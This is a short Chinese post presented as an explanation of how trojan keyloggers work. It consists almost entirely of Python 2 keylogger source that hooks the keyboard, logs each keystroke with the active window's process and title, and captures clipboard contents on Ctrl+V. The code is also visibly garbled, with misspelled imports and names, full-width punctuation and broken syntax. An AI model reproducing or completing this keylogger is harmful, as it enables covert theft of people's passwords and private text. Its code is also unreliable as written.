Python告诉你木马程序的键盘记录原理

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移（换了其他窗口就监听新窗口）
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键（非组合键等）
if event.Ascii>32 and enent .Ascii <127 ：
print chr(event.Ascii),
else:
#如果发现ctrl + V事件，就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value)，
else:
print "[%s]" %event.Key，
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()